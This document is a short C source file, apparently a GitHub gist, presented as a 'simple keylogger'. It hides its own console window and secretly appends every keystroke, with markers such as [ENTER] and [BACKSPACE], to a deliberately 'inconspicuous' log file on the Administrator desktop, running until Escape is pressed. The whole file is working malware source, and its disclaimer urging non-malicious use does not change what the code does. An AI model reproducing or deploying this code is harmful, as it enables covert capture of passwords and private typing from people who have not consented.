gistfile1.c

/*
    Simple keylogger by Jack Krix 2013.

    Very important note:

    Use for non malicious tasks!
    I will NOT be held responsible for anything silly you may do with this!

    UPDATE: This will only work if don't give focus to another window!
            Don't click and this should work as long as no other windows steal focus.
*/

#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include <time.h>

#define PATH "C:/Users/Administrator/Desktop/inconspicuous-log-file.txt"

int main()
{
    char capture;
    FILE *file;

    // Time stuff.
    char timeStarted[20];
    time_t now = time(NULL);

    // Hide the window
    HWND window;
    AllocConsole();
    window=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(window,0);

    file = fopen(PATH, "a+");

    strftime(timeStarted, 20, "%d-%m-%Y %H:%M:%S", localtime(&now));
    fprintf(file, "\n#$Logger: Written by jkrix. Started logging @ %s (DD/MM/YY)\n", timeStarted);

    while(1){
        Sleep(20); // To make sure this program doesn't steal all resources.
        if (kbhit()){
            capture = getch();
            // Just add in some helper strings here to the file, feel free to modify these to your needs.
            switch ((int)capture){
                case ' ':               // Space key...obviously.
                    fprintf(file, " ");
                    break;
                case 0x09:              // Tab key.
                    fprintf(file, "[TAB]");
                    break;
                case 0x0D:              // Enter key.
                    fprintf(file, "[ENTER]");
                    break;
                case 0x08:              // Backspace key.
                    fprintf(file, "[BACKSPACE]");
                    break;
                case 0x1B:              // Escape key.
                    fprintf(file, "[ESC]");
                    fclose(file);
                    return 0;
                default:
                    fputc(capture,file); // Put any other inputted key into the file.
            }
        }
    }
}